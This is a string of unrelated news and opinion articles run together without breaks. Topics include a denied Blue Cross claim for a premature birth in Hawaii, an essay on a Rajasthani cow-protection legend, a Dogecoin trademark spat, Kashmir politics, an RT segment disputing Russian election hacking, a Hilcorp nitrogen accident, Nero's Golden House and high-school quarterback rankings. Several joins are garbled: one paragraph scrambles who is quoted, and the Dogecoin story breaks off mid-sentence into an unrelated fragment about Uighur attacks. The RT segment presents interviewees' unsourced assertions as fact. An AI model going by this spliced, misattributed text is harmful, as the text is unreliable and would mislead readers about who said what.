Jennifer Huculak-Kimmel gave birth nine weeks early while on holiday in Hawaii in November 2013. Her baby daughter had to be hospitalized.
"My water broke two days into our holiday," Huculak-Kimmel said. "I spent six weeks on bed rest and then baby Reece was delivered by emergency C-section on December 10th."
Reece had to stay in the hospital for just over two months. Huculak-Kimmel thought that her insurance would cover the almost $1 million US bill.
In the end, Blue Cross denied payment. In a letter to the family, a Blue Cross worker wrote, "We are unable to provide coverage for any medical expenses incurred for Ms. Huculak's baby" and "please note that Ms. Huculak's travel policy expired on Nov. 9, 2013."
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The parents are now unsure what they'll do next.
"Blue Cross said that because I had a bladder infection at four months and hemorrhaged because of that, that they would not cover the pregnancy," she said. "We thought we had done everything right. We thought we had covered all avenues and we thought we were covered. We thought we were safe to go."
Huculak-Kimmel said she tried everything possible to get back to Canada.
"We looked at all avenues to trying to get medevac [an air ambulance] home," she said. "One medevac company would not fly me in my condition and the other one would only do it with a surgical team on board and still recommended me not travel."
Huculak-Kimmel said she met with her own doctor, and Blue Cross, before the trip.
Expert opinion
Jennifer Huculak-Kimmel gave birth to baby Reece nine weeks early, while on vacation in Hawaii. Her hospital bill of nearly $1 million is not covered by her Blue Cross insurance. (David Shield/CBC) says he doesn't have all the facts in the case, but if Huculak-Kimmel checked in with her doctor days before she left on the trip, and he gave her a clean bill of health, then she should have been covered by insurance. Steven Lewis, a health policy analyst in Saskatoon,Huculak-Kimmel
"Well, I don't think we can be our own doctors," Lewis said. "Either we do, or we don't have a pre-existing condition. And we're not likely to know about them unless we've been told by our doctors that we have them."
Lewis said he doesn't often hear about cases like this, especially ones involving a medical bill that reaches almost $1 million.
He hopes the situation can be mediated.
"One would hope there would be an appeal mechanism," he said, "so the family and the company would sit down and discuss this, and at least agree what the facts are, before having to go to court."
From this author Renaming islands in Andamans obscures complex loyalties, horrific memories
A stone tablet that narrated this heroic story was erected at the place where Bharmall immolated himself. C R sasikumar
A few hundred years ago, there lived a native in the Rajasthani mofussil town of Khatu-Shyamji by the name of Bharmall. He was said to be an influential zamindar. They say, one day, the local Muslim butcher was forcibly walking away with some cows to the town for slaughter. Bharmall passionately swore that if the butcher were to take away the cows, he would immolate himself in protest. The butcher paid no heed and mercilessly dragged away the cows. Bharmall, a brave warrior, true to his honour, immolated himself. A stone tablet that narrated this heroic story was erected at the place where Bharmall immolated himself.
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About 55 years ago, some people unearthed the stone tablet by chance, while digging to build a house. A small shrine was built there that came to be known as Bharmall ka Satta. Since then, supernatural and healing powers have come to be associated with it. It has become a tradition in the area for newly-weds to visit the shrine for a blissful conjugal life. It is also said that an offering at the shrine of a brinjal and a broom is a cure for facial moles.
Bharmall is my ancestor from my father’s side. He is supposed to have served as an official at the court of the local raja. I travelled to Khatu-Shyamji over a decade ago with my grandfather to see the shrine. I wish I had asked what this story meant to him. He is no longer alive to answer this question, but as a historian, I continue to wonder. How am I to understand this story? Is this yet another tale that captures the cruelty and insensitivity of the beef-eating Muslim and the heroism of the Hindu who rescues gaumata? Or is there another reading of this story?
The fount of Bharmall’s tale is the history of medieval Rajasthan, where cow protection against diseases and raids was a definitive aspect of the lives of pastoral communities. As outlined in the forthcoming book by historian Tanuja Kothiyal, cow protection also differentiated the culture of pastoral communities from that of trading communities.
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The region of Khatu-Shyamji is littered with tablets commemorating “saint-warriors” (jujhars) who protected cattle from other Hindu adversaries. Bharmall was also one such warrior. However, in Bharmall’s tale, it is the Muslim butcher and not just another Rajput cattle-raiding group that is the abductor. When does this shift in the narrative occur? When was it that the Muslim butcher was inserted into the story, and why?
This interpolation of the Muslim butcher in commemorative tales and the reasons for it are to be found in the history of colonial and nationalist politics of the late 19th century. The cow, during this period, as historian Charu Gupta demonstrates, became an icon for the Hindu nation. Crucial in the popularisation of the idea of the cow as mother for Hindus was the mass production and consumption of certain visual images, in which the body of the cow was presented as a repository of all things Hindu.
The thriving print culture in north India facilitated the circulation of these ideas and imageries in pamphlets, handbills, posters and newspapers. They were available at newsstands, railway bookstalls, road intersections, schools and colleges, outside temples and hospitals, and also as images that people could carry in their pockets or stick on the walls of their homes or frame and keep in the family altar. It wasn’t difficult for this idea to take firm root in the people’s psyche, because assisting the mass consumption of these images were stories to go with them. These stories appeared in the form of poems, bhajans, and the speeches of Arya Samaj, Sanatan Dharma and Gaurakshini Sabha publicists.
The cow and her body came to epitomise motherhood, and her milk became the fount of nationhood. In all these images and stories, the villainous wrongdoer or the aggressor was the Muslim butcher who, in order to satiate his lust for cow-meat, would recklessly annihilate this sacred symbol of Hindus, unless thwarted by the devout Hindu. The mother cow (gaumata), the giver of milk that nourished the Hindu body, was presented as a suffering mother who beseeched her son (the Hindu nation) and invoked his manliness and sense of pride to save her life and honour.
Bharmall’s tale is uncannily similar to ones circulating in the late 19th century. The slight difference is that instead of attacking or lynching the butcher, Bharmall immolates himself. Notwithstanding this difference, all the tales mark the boundary between the Hindu self and the Muslim other. Hindu selfhood came to be closely tied to protecting the cow against the rogue Muslim who insisted on eating beef. This notion of self then became a sanatan identity — the unchanging identity that had come down from the ancient past to the present, wiping out any instance of beef-eating in the Indian subcontinent’s history, except when done by the Muslim other.
This was also a Hindu identity as defined by upper castes, as it denied the fact that several lower caste jatis ate beef — and still do. This identity also valorised the north Indian context and overlooked the socio-historical context of south India, where Hinduism was in dialogue not only with Islam but also with Christianity and Judaism, and there existed less squeamishness on cow-meat.
This definition of the Hindu self found its way into everyday life, literature, cinema, the arts and the hearts and minds of the Hindu nation. And the violation of this identity by the wily Muslim became a possibility that the Hindus had to be vigilant about. Bhisham Sahni’s Tamas captures this construction of the Hindu self. In the story, Muslims find a pig carcass at the footsteps of a mosque and retaliate by killing a cow, eventually leading to bloodshed between the Hindu and Muslim communities. Sahni further shows how the riot was linked to and made use of by politicians to get tickets to fight the upcoming elections. The identities of Hindus and Muslims forged in the crucible of conflict became easy tools in electoral politics.
The above analysis also helps us understand the recent lynching of Mohammad Akhlaq in Dadri on the suspicion that he was keeping beef in his refrigerator. Invocations of emotionally charged notions of self — Hindus as protectors of the cow and Muslims as conniving beef-eaters — continue to be the easiest way to set off rumours and mobilise mobs, especially right before elections. How many tickets will Akhlaq’s cadaver win for the instigators of the mob?
So what is the moral of Bharmall’s story? For me, this tale is important in understanding how our identities and family histories get constituted. These tales harbour notions of selves and also constitute those selves. Locating these tales in their historical context reveals that the identities we live with today are historically constituted and are not sanatan. It also shows that these identities are embedded in histories of conflict. Now the choice is mine — either to perpetuate the conflictual identity and valorise the righteous Bharmall or renounce his legacy, unshackle my selfhood from his ghost and let myself mourn Akhlaq’s death. I think my grandfather would have liked me to choose the latter — or at least I wish he would have.
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The writer is associate professor of history, Ashoka University, KundliWhen Dogecoin debuted in December of last year it was greeted with great enthusiasm from fans of the Doge meme, and equally great skepticism about it’s viability from pretty much everyone else. Despite this uncertainty, the value of the new cryptocurrency rose rapidly leading the community to adopt the slogan “To the Moon!” as a rallying cry. Doge soon found itself in 3rd place on the Cryptocurrency Marketcap listings, and in just 90 days it had achieved a market cap of $90 million. And then, the rocket ran out of gas.
After peaking on February 12 the value of Doge began a long, sustained drop in both total market cap, and individual unit price. There was an expectation in March that the downward slide would end after the community successfully raised $55,000 to sponsor NASCAR driver Josh Wise. Unfortunately, this did not happen and there was no real spike in Doge value until a three day period between April 14 and April 17 where $22 million dollars was pumped into the market before the slide resumed.
Despite this, the Doge community continued to cheer on their currency, defiantly resisting the reality of the slow, inexorable decline. Their 87,000 strong community continued to post cheerful photos, positive memes, and generally behave in the carefree, highly positive manner that has been their trademark from the start. Then, last week we saw the dark, ugly side of Doge that no one ever suspected was there.
It Began With a Trademark
For reasons that still remain unclear to this author, Ultra Pro, a collectible card supply company, decided to trademark the Doge meme. Not the word “doge” as in the Medieval ruler of the city of Venice, but the actual Shiba Inu meme. Crypto-payment processor, and long-time Doge enthusiasts, Moolah immediately responded on Twitter by saying “Trademark. Notice of opposition. Imminent filing. #dogecoin” which, in a move that is completely unfamiliar to the Twitterverse, confused a lot of people.
This confusion caused a bit of turmoil in the Doge community, and the co-creator of the crypto Jackson Palmer, reached out to Ultra Pro to find out what, exactly, was going on. Ultra Pro claimed they had no intention of subverting the Dogecoin community in any way, shape, or form. Apparently satisfied with their assurances that they would not be interfering in Dogecoin-related enterprises, Palmer went to the Doge subreddit and relayed the good news. As well as his belief that Moolah was making a grab at the Dogecoin trademark for themselves.
This led to an internet catfight between Moolah founder Alex Green and Jackson Palmer with the Doge |
Uighur assailants and two tourists.
Although Uighur separatists have been waging a low-level insurgency for decades, recent attacks have been bolder and bloodier, targeting civilians and underscoring shortfalls in Beijing's ability to respond.
Uighur activists say the violence is being fueled by restrictive and discriminatory policies imposed by China's majority Han ethnic group.
China has blamed several incidents on overseas-based separatist radicals in the East Turkistan Islamic Organization, although it has presented little evidence.All political parties in India unanimously rejected the United Nations Human Rights Commission's (UNHRC) request to visit Kashmir to investigate alleged human rights violations by Indian security forces. The decision was taken during an all-party meeting to discuss the ongoing Kashmir unrest, which has led to a month-long curfew in the valley.
Prime Minister Narendra Modi reportedly asserted during the meeting that Pakistan, which accused India of human rights violations in Kashmir, does not have the right to raise the issue considering its own record of extreme violations against its own countrymen.
Pakistani Prime Minister Nawaz Sharif had written to UN High Commissioner for Human Rights Prince Zeid Ra'ad Al Hussein to "end the persistent and egregious violation of the basic human rights of the Kashmiri people". Following the letter, the UN commission wrote to India asking to pay a visit to the northern state to ascertain the veracity of the allegations, foreign minister Sushma Swaraj told party leaders during the meeting.
However, all party leaders rejected the move saying it could lead to interference in the country's internal matters. Sitaram Yechury, general secretary of the leftist CPM party, suggested that the government instead send a team of its own human rights bodies to access the situation in the state.
On initiating dialogues to resolve the Kashmir unrest, Modi categorically stated he would not engage in talks with separatists nor allow Pakistan to intrude into India's internal affairs. The prime minister also said that Pakistan occupied Kashmir, termed as PoK, "is ours" and he would not entertain any compromise on Kashmir.
The unrest in Kashmir began in July after the killing of Burhan Wani, a key separatist figure in the region whom Pakistan is trying to portray as a martyr. India has warned its neighbour to stop harbouring terrorists and fuelling tensions in the valley.
During the meeting, Modi reiterated the warning, saying: "Pakistan forgets killing its own people by fighter planes. Time has come for Pakistan to explain to the world community about excesses committed in PoK and Balochistan.
"Foreign ministry should take initiatives to develop contact with citizens of PoK settled abroad and apprise them about how their family and friends are treated there," Modi was quoted by the Times of India as saying.
Meanwhile, following the meeting, Indian Home Minister Rajnath Singh and Finance Minister Arun Jaitley said in a joint press conference that the 34-day curfew in Kashmir would be lifted in phases. They added that the security forces have been instructed to exercise maximum restraint while dealing with civilians. The government is trying to bring normalcy to the state, the duo said.Why do US officials keep blaming Russia for meddling in the US election without evidence? Why has the damaging information contained in the leaked Democratic Party emails hardly been discussed?
Director of National Intelligence James Clapper said on Thursday that at this stage, US intelligence agencies are more confident than ever that Russia was involved in hacking the Democratic Party and campaign staff emails. He went on to accuse Russia of spreading fake news and propaganda.
Facts force Washington Post to backtrack on report that Russia hacked US power grid https://t.co/h9maZeLJ9qpic.twitter.com/3uPbA2Ph8I — RT (@RT_com) 1 января 2017 г.
“Our assessment now is even more resolute than it was,” he said.
READ MORE: 'Zero proof’: Twitter reacts to Clapper’s claims that RT influenced US election
Clapper added that more detailed information on the alleged attack would be made public next week.
‘It was not a hack, but a leak’
RT asked George Galloway, former British MP, why top US officials continue to blame Russia for meddling in the US election, yet they are not ready to provide any evidence today, promising to show it next week.
“First of all, I have the benefit of knowing that – number one: it was not a hack, it was a leak. Number two: it did not come from Russia; it came from someone inside the Democratic Party. I can’t tell you more, or I’d need to kill you,” he said.
According to Galloway, “very few people, indeed, this side of Atlantic at least, believe this hysterical, made up story” for a variety of reasons.
READ MORE: Obama needs no ‘additional evidence’ of hacking to substantiate anti-Russia sanctions – White House
First of all, he said, “there can be no evidence that whatever was leaked by WikiLeaks about the shambles that was the Democratic Party’s National Committee affected the outcome of the election in any way, even their own officials are saying that.”
And, he went on to say, it couldn’t have affected the election because “none of the fake news outlets” or the MSM reported about those leaks in the first place. That means the majority of American voters never knew the contents of the leaks, Galloway said.
“Secondly, not a single jot or tittle, not one iota of the information that was leaked turned out to be false – it was all true. Whoever got that true information out into even a narrow public domain should be applauded, not witch hunted in this way,” he told RT.
The third point is that “the US itself has invaded countries, subverted them, killed their presidents, attacked their presidential palaces, fought wars, invasions, occupations in order to influence the outcome of other people’s elections and other people’s choices of their political system and their leadership,” Galloway said.
Finally, Galloway concluded, “you can believe the CIA, if you like, but just remember – this is the same CIA that told you Iraq had weapons of mass destruction in such profusion that we needed to invade and occupy it, thus creating a cascade on the world of fanatic extremism, which has sent flames everywhere.”
‘Alleging Russian hacking is ironic when the NSA is essentially a hacking organization’
Admiral Michael Rogers, the director of the National Security Agency (NSA), said Thursday that Russia has been hacking other countries for years.
'Dumber than bird sh*t': #podestaemails23 highlight criticisim of Clinton staff https://t.co/OX8DEfoyx6 — RT (@RT_com) October 30, 2016
“As you know, Russian cyber groups have a history of aggressively hacking into other country's government, infrastructure and even election systems,” he said.
However, it has also been said there is a threat from Chinese and Iranian hackers. Yet, Russia is taking all the heat.
“Think how ironic it is for Rogers, the head of the NSA, to allege Russian hacking when in fact the NSA essentially is an entire hacking organization,” said Coleen Rowley, former FBI agent and whistleblower.
“They go to hacking conferences and conventions in order to hire hackers – that is what they do. That is what Edward Snowden’s revelations were about, which was all of the surveillance and interceptions even of Americans’ communications. And of course it is well-known that many, many other NSA type organizations in the world and private hackers do this type of thing. That is well-known. So it is very hard to point one finger at Russia, when in fact the US was hacking Angela Merkel’s telephone not so long ago, as well as many other even allied leaders in the world,” she said.
READ MORE: 'Who gave them this and why?’ Trump blasts leaks of secret report on ‘Russian hacking’
Journalist Steve Topple described what is happening as a “two-pronged propaganda attack.”
“Firstly the US is looking to discredit Russia. We still have the ongoing situation in Syria, which isn’t going away anytime soon,” he told RT. Secondly, that fits into “the whole notion of Trump’s illegitimacy as president.”
“Russia is of course ‘supporting him,’ and they are looking to undermine Trump, and therefore undermining Russia at the same time is a double whammy for them,” he said.
Read more
In addition to hacking, there has been the accusation that Russia has used fake news to influence the American public – while the US mainstream media has been caught spreading stories that have turned out not to be true.
In Topple’s view, that’s hypocrisy – but that is not something one would not expect from the US.
“They talk about Russia and hacking into foreign countries... The US is rampant in doing this... the US is rampant in rigging foreign elections. I believe in the last count it was 81 international elections the US has interfered in since WWII,” he said.
However, there is a bigger issue at stake here, Topple said.
“It is that the public and journalists, because the US is presenting no evidence, have to either believe the state, as it were, and trust them implicitly, or say: “Look, no, we’re not going to believe anything until you present evidence.”
"And once again... the public are being manipulated and... stuck between a rock and a hard place. Do they believe the state or do they not? This lack of evidence is frustrating to say the least.”AN ARMED robber stopped ransacking a house to feed a crying baby.
Kojek Mista and four other men broke into a home in Tangarang, 20 miles from the Indonesian capital, Jakarta, last month armed with guns, swords, knives and crowbars.
But Mista became concerned when the baby woke in tears after his mother and nanny were tied up.
Kojek told Indonesian reporters that he and his accomplices broke into the house in the early hours of the morning by climbing over a wall.
"The housemaid woke up, so I covered her mouth and then bound her arms and legs. I stuck the duct tape on her mouth" he said.
"There were two housemaids, but the other one didn't awake, so we let her be."
Mrs Lewa, who owns the house, woke to see the criminals in her room. She screamed, had a gun pointed at her and was tied up, and the commotion woke her baby boy.
At a police press conference in Jakarta, Mista, who faces ten years in jail, said: "I asked his mother how to make him stop crying. She said he had to be fed with milk. I gave it to the baby while cradling him. Not long after, the baby fell asleep so I put him in bed. I have a kid, so I know how to cradle a baby."
The gang escaped with items worth $5000, but four were later arrested and one was shot dead by police.An accident at the Milne Point oil field would have resulted in the suffocation deaths of three North Slope workers had it not been for the "good fortune" that one of them collapsed in fresh air outside the nitrogen-filled trailer they were working in, a state agency has found.
The agency, the Alaska Oil and Gas Conservation Commission, is proposing to set a $720,000 fine for Milne field operator Hilcorp Alaska for improperly using nitrogen gas during a well clean-out. The improper and unauthorized use of nitrogen, a colorless and odorless gas that can replace life-supporting oxygen in the air, led to the "near deaths" of the three rig contractors, the AOGCC said.
The agency said the three workers were knocked unconscious after working in an oxygen-depleted trailer. The one who fell outside the trailer door had the luck to be surrounded by fresh air, it said.
Nitrogen, a fire suppressant and one of the most common elements on Earth, normally makes up most of the atmosphere where people live and work, but there's usually not enough to replace oxygen. That wasn't the case Sept. 25, when nitrogen was misused in the oil field, the commission said.
The agency enforces some safety rules in Alaska's oil fields. It presented the allegations in a notice of proposed enforcement sent to Hilcorp on Nov. 12 and signed by AOGCC chair Cathy Foerster. The seven-page notice said the accident was not isolated and illustrates the company's history of failing to comply with Alaska rules.
Hilcorp Alaska's external affairs manager, Lori Nelson, said in an emailed statement that Hilcorp is disputing the proposed fine as well as others recently recommended by the agency. Nelson did not respond to requests to see Hilcorp's written responses to the AOGCC.
In the aftermath of the Milne Point accident, the commission has notified Hilcorp Alaska of three other proposed fines totaling an additional $190,000. Those fines stem from other alleged infractions at Milne Point the agency asserts are "emblematic" of the company's ongoing compliance failures. The agency has also launched other investigations of the company this year over operations in Cook Inlet and the North Slope.
"The disregard for regulatory compliance is endemic to Hilcorp's approach to its Alaska operations and virtually assured the occurrence of the incident" at Milne Point, the notice said. "Hilcorp's conduct is inexcusable."
Foerster said she could not comment because the cases remain open.
Nelson said Hilcorp is conducting an internal review of the steps that caused the three workers to be "temporarily overcome by nitrogen gas."
She said the workers, whom she did not name, "quickly regained consciousness and were released for duty."
Nelson said Hilcorp, based in Houston, Texas, maintains a strong record of regulatory and safety compliance across the United States. The company takes issue with the AOGCC's characterizations of its conduct, she said.
"The health and safety of our employees and contractors is of the utmost importance to Hilcorp," she said.
One of the nation's largest privately held oil companies, Hilcorp is known for aggressively squeezing more oil and gas from old fields, in part by conducting "well workovers" that enhance or restart production. The effort can involve cleaning out old wells that may be clogged with sand or other material.
The company has made much of its money in shale fields in the Lower 48, but a large chunk of the company's oil and gas portfolio is based in Alaska, where Hilcorp has expanded rapidly after arriving in 2011. It's the dominant oil and gas company in Cook Inlet, producing 30,000 barrels of oil daily there and at properties on the North Slope it acquired last year from BP. The North Slope properties include partial ownership at Milne Point and the Liberty field that might lead to the first offshore petroleum production in the Arctic Ocean's federal waters.
For the past three years, Fortune magazine has recognized Hilcorp as one of the nation's best places to work, in part for the large bonuses workers receive as the company boosts oil and gas production.
In its notice, the AOGCC said Hilcorp notified the agency on the day of the accident.
Early that morning, Halliburton contractors had pumped nitrogen gas into the well during the clean-out. But the agency said the blame for the accident fell to Hilcorp's "management and engineering staff." It said the accident was caused by a lack of training and safety protocols on Hilcorp Automated Services Rig No. 1, or ASR1.
"Hilcorp failed adequately to identify the hazards, to assess the hazards, and to implement actions to mitigate the hazards, and in doing so failed to maintain a safe work environment during the fill clean-out operations," the agency said.
Calls to Halliburton's offices in Anchorage were not returned Wednesday.
During a clean-out, nitrogen gas can be mixed with other fluids such as seawater and pumped into wells to force out unwanted materials. Procedures to ensure safe use of nitrogen are widely followed in the industry, the AOGCC said.
However, Hilcorp had not asked the agency for authority to use the gas for a clean-out that reached a depth of 6,500 feet. Instead, in the plans approved by AOGCC, the company said only seawater would be used, according to the agency.
Halliburton records viewed by an agency inspector who arrived at the scene the day of the incident show that 200,000 cubic feet of nitrogen gas was used in the operation, the notice said.
The nitrogen gas returning to the surface after the clean-out should have been vented out of the trailer after going through a "gas buster," a device that separates gas from liquids. But a valve was left open, allowing the gas "to enter the enclosed mud trailer and displace oxygen to a deadly level," the agency said.
The lack of safe procedures led the workers to assume there was not a problem, the agency said. They didn't understand the gas detection system, and the "lack of audible gas alarms" suggested the trailer was safe.
The workers initially left the trailer after experiencing symptoms of oxygen deprivation, but returned without testing the space with gas monitoring equipment, another mistake leading to the accident, the agency said.
The AOGCC ordered Hilcorp to suspend work-over operations on the rig on Oct. 1, a sanction lifted on Oct. 29 after Hilcorp accepted a list of corrective actions proposed by the agency.
The company was directed to contact the agency before beginning any more work-overs even if past approvals for such work had been issued by the agency.
The unusually large fine by AOGCC is largely based on Hilcorp's "failure to maintain a safe working environment" and using an unapproved work plan.
The alleged violations included:
Not properly training personnel on the rig. Not implementing safeguards to ensure worker safety during a nitrogen release. Not providing a detailed procedure for performing a clean-out with nitrogen.
The "near deaths of three rig personnel indicate the job safety analyses and Hilcorp's oil-field practices were woefully inadequate to address nitrogen-related hazards and the controls necessary to prevent an exposure incident," the agency said.
The notice is just one of several sent this year by the agency to Hilcorp officials, according to records provided by the agency in response to an open records request by Alaska Dispatch News.
In two cases, Hilcorp quickly took corrective action that satisfied the agency, including fixing a broken surface safety valve at Hilcorp's Northstar Unit on the North Slope.
Investigations related to other issues, including operating with a failed gas and fire detection system in early August on the ASR1 rig at Milne Point, appear to remain open.
The agency's three additional notices of proposed fines assert that Hilcorp didn't test a blowout preventer or report its use to the agency during well work-over operations conducted this spring on Nordic Rig 3 at the Milne Point unit. The agency is proposing a $40,000 fine for those violations.
The AOGCC also said Hilcorp changed approved plans twice without permission for two work-overs this year at Milne Point before the nitrogen accident. The work took place on rig ASR1 and Nordic Rig 3. AOGCC has proposed a $75,000 fine for each incident.
The commission said a 2013 fine against Hilcorp over violations in Cook Inlet appeared to have no "significant impact" on the company's conduct. The commission's order in that decision said the company's "aggressiveness" in its operations had apparently contributed to regulatory compliance issues.NEW ORLEANS (Reuters) - As if the deaths of 5,000 birds in Arkansas were not strange enough, Louisiana wildlife experts on Tuesday are investigating the deaths of 500 birds along a stretch of highway in Pointe Coupee Parish.
The Louisiana birds included some red-winged blackbirds, the same type discovered dead in Arkansas.
The mix of blackbirds and starlings were discovered on Monday between New Roads and Morganza, Louisiana, according to Bo Boehringer, press secretary for the Louisiana Department of Wildlife and Fisheries. That area includes the False River Regional Airport.
Boehringer said the birds were sent to labs in Georgia and Wisconsin to find out how they died, tests which could take a week.
“Our staff veterinarian is not ready to speculate at this time,” said Boehringer, regarding the cause of death.
The Louisiana report comes days after some 5,000 birds, mostly red-winged blackbirds, fell from the sky in Beebe, Arkansas on New Year’s Eve. Tests by Arkansas veterinary officials concluded Monday they died after massive trauma.
One theory is that birds were spooked by New Year’s fireworks and flew into buildings or other objects. Another theory is that severe weather caused the deaths.
“We’re leaning more toward a stress event,” said Arkansas Game and Fish Commission spokesman Keith Stephens, noting that severe weather had already left the area.
The Arkansas commission also is trying to determine what caused the deaths of up to 100,000 fish over a 20-mile stretch of the Arkansas River near a dam in Ozark, 125 miles west of Beebe. The fish were discovered December 30.
Stephens said disease may be the culprit, since almost all the fish were one species — bottom-feeding drum.
Stephens said the Arkansas events do not appear related.Covered in gold leaf, it was once a magnificent symbol of the wealth of ancient Rome, but two thousand years on, cash-strapped Italy has launched an appeal for £25 million to preserve a vast palace built by the Emperor Nero.
The Domus Aurea, loosely translated as the Golden House, is a sprawling complex of interconnecting dining halls, frescoed reception rooms and vaulted hallways perched on a hill opposite the Colosseum.
In the centuries since it was constructed by the tyrannical and vainglorious Nero, who was famously said to have played his lyre while Rome was engulfed in flames, it was built on by successive emperors so that it is now virtually underground.
A modern-day park sits on top of the palace and is doing grave damage to the structure – mature trees have sunk their roots into the vaulted roof and water drips from the often sodden soil onto fragments of Roman fresco and ancient brickwork.
The danger of structural collapses means the enormous palace has been closed to visitors for nearly a decade, and in 2010 the collapse of a section of roof renewed fears for the monument's future.
But on Wednesday archaeologists from the cultural heritage ministry announced a bold plan to strip away the existing park, cutting down trees and removing hundreds of tonnes of soil, in order to replace it with a landscaped garden designed to protect the palace below from further damage.
The new garden would be planted on a much thinner stratum of soil, meaning that it would exert far less weight on the palace and less water would percolate into the building.
The project is scheduled to take four years, after which the palace will be reopened to the public.
There is just one snag – the government has no money to donate to the project, so archaeologists are looking to a private company or corporation to pick up the tab.
People work in the ancient Domus Aurea site (AFP)
"The state has very limited resources unfortunately," said Dario Franceschini, the minister for cultural heritage, speaking in a high-ceilinged, octagonal hall at the heart of the palatial complex.
"This is an opportunity for a big company to sponsor an extraordinary project, which will capture the world's attention. It would be scandalous if no one comes forward," he said.
Nero, who was known for his lavish tastes, ruled from 54AD to 68AD and had the palace built as a potent emblem of his power and wealth.
Five years ago archaeologists found what they believe to be the remains of a banqueting room that was able to rotate – a novelty that Nero had built to impress his guests.
The 50ft-wide dining area was underpinned by a broad pillar and a mechanism that allowed it to slowly rotate, matching an account by the historian Suetonius, who described a dining hall that revolved "day and night, in time with the sky".
"This was not just an imperial residence," said Mariarosaria Barbera, a cultural heritage official, explaining that it covered a vast area and incorporated ponds, parkland and pavilions.
"Nero's idea was to create 'rus in urbe' – a piece of the countryside right in the heart of the city. It included a lake, which was later drained and on which was built the Colosseum," she said.
A team of 70 experts has spent three years restoring the interior of the palace, chipping away calcium deposits left by the incursion of rainwater and cleaning the remaining frescoes, which depict Roman nobles reclining at banquets as well as gods, goddesses and nymphs.
Replacing the parkland above the palace with a specially designed garden would stop water dripping down into the interior and drastically reduce the humidity, which damages the frescoes.
The eventual reopening of the palace might help rehabilitate Nero, who has historically been portrayed as a megalomaniac and sadist.
He may have had his mother murdered, and kicked to death his pregnant wife, but he also rebuilt large parts of ancient Rome after the great fire of AD64.
"He has a bad reputation, but he had his merits – among them his desire to turn Rome into a great metropolis after the fire," said Dr Barbera.
Nero's enjoyment of his palatial residence was to prove short-lived.
Just after it was finished in AD68, he committed suicide by stabbing himself in the throat, after the Roman Senate and his legions rebelled against him.
The palace has exerted a fascination ever since – in the ceilings there are numerous holes, hacked away by artists in the Renaissance so that they could lower themselves into the interior on ropes to survey the sumptuous decorations.
Among those who explored the cavernous palace were Michelangelo, Raphael and Pinturicchio, who left graffiti and signed their names.“Like so many federal programs,” said South Carolina’s Republican/tea party Sen. Jim DeMint this week, “the National Labor Relations Board has expanded its mission far beyond its original purpose in order to wage ideological battles on the taxpayers’ dime.”
Tim Pawlenty, a GOP White House contender, blasted the NLRB two days earlier for its suit against Boeing for that company’s decision to open a non-union airline plant in South Carolina in retaliation against its union workers in Washington state.
“The NLRB decision and what they are saying to an American company as to where and how they can do business is outrageous. This is not the Soviet Union circa 1970s or 1960s or ’50s,” Pawlenty said.
Why have Republicans and tea partiers gotten so riled up about the NLRB?
The answer, quite simply, is that for the first time in many years the NLRB is doing what it was supposed to do ever since it was created under the National Labor Relations Act in the 1930s. It is actually, as a result of decisions made by the Obama administration in accordance with U.S. labor law, trying to ensure that a workable national labor relations process is in place.
The recent uproar over the NLRB’s complaint against Boeing has nothing to do with democracy or the economy and everything to do with removal of workers’ rights.
Boeing itself repeatedly said, before opening a production line in South Carolina, that it was getting even with Washington state workers for going on strike. The company admitted it was retaliating against the workers for exercising their rights under the National Labor Relations Act. This left the NLRB no choice but to sue Boeing for violation of the law.
On Jan. 14 of this year the NLRB struck a key blow for working families in Arizona, South Carolina, South Dakota and Utah by advising the attorneys general in those states that so-called secret ballot amendments are pre-empted by the National Labor Relations Act, which offers workers two paths to choosing a union – majority sign-up (often called card-check) or secret ballot election.
That NLRB action sent the message that state-enacted requirements for elections really serve to restrict workers’ right to determine how they choose a union. The NLRB official advisories, by reaffirming actual federal labor law, make it clear that the proposed state amendments are falsely using the language of worker protection to cloak efforts to take away a worker’s right.
The Jan. 14 decision by the NLRB is an obstacle to corporations determined to continue their exploitation of workers without having to worry about those workers forming a union. It goes a long way to discouraging future attempts by corporations to limit unionization and collective bargaining.
The attacks on the NLRB are not about protecting the right to do business in one’s place of choice. They are not about protecting the country from federal regulators who don’t understand the economy. They are not about trying to get a federal regulatory body back on track to its original mandate. They are not about protecting states’ rights. What they are about is trying to dismantle an agency so that it will be easier to intensify attacks on working people and their rights.
The Republicans on the warpath against the NLRB would far better serve their constituents and all Americans if they stopped their attacks on an agency that is doing its job, and focused instead on what they were elected to do: creating good jobs and rebuilding the economy.BEAVERTON, Ore. – Following the completion of the Elite 11 and The Opening, the Elite 11 staff will release the final Elite 11 for the class of 2016. But we've got our own opinion. Below we rank our top 11 passers according to 247Sports based strictly on this week's body of work.
Ole Miss commit Shea Patterson
1. Shea Patterson (Ole Miss commit) – Patterson's team lost their first four games and if not for a three-overtime win in the playoffs, the Lunar Beast team would have gone 0-5. But Patterson is the reason that they didn't go 0-5 and he's the reason they made a championship run. You could feel the Ole Miss commit getting into a rhythm and once that happened, no one else really had a chance.
2. Malik Henry (Florida State commit) – Henry was consistently one of the best quarterbacks in attendance throughout the week, spinning it well, throwing crisp decisive balls and then his team went undefeated in the playoffs to make the championship game.
3. Dwayne Haskins (Maryland commit) – Haskins didn't have a lot of room for error because a lot of his receivers were smaller but he was slicing up defenses with precision and they made him look good with yards after the catch. We've always thought he had a case for the best pure thrower in this class and he made another strong argument in Oregon.
4. KJ Costello (Stanford commit) – Costello had some ups and downs just like all quarterbacks did but his highs were much more frequent and he looked as dialed in and focused as any quarterback at the event. His connection with Tyler Vaughns and Kaden Smith were tough to stop.
5. Shane Buechele (Texas commit) – Through the first half of the week, Buechele was the most accurate quarterback on air. He continued that steady play throughout tournament play and earned enough trust from his coaching staff to essentially take the starting job uncontested throughout the tournament. Buechele earned opportunity through the first half of the week and capitalized during 7on7 play.
6. Jacob Eason (Georgia commit) – We felt like Eason was the most talented quarterback in attendance but he got very limited opportunity to play in the 7on7 tournament because of his team's decision to ride Buechele. Every time Eason was on the field, he flashed that elite ability but many observers – including us – were disappointed we couldn't see more of it.
7. Brandon Peters (Michigan commit) – Peters is one of the best quarterbacks in the Elite 11 from release to completion. The ball is always on target with spin and velocity. If he picks up the pace in his drops and delivery, adds some more urgency, he has a chance to be one of the best quarterbacks in this group.
8. Feleipe Franks (LSU commit) – When he was under center, Franks was the type of quarterback that could make a 99th percentile throw on three throws and then skip one on his fourth. He continues to be an upside guy that is inching closer and closer to that ceiling. We think he took a step forward this week.
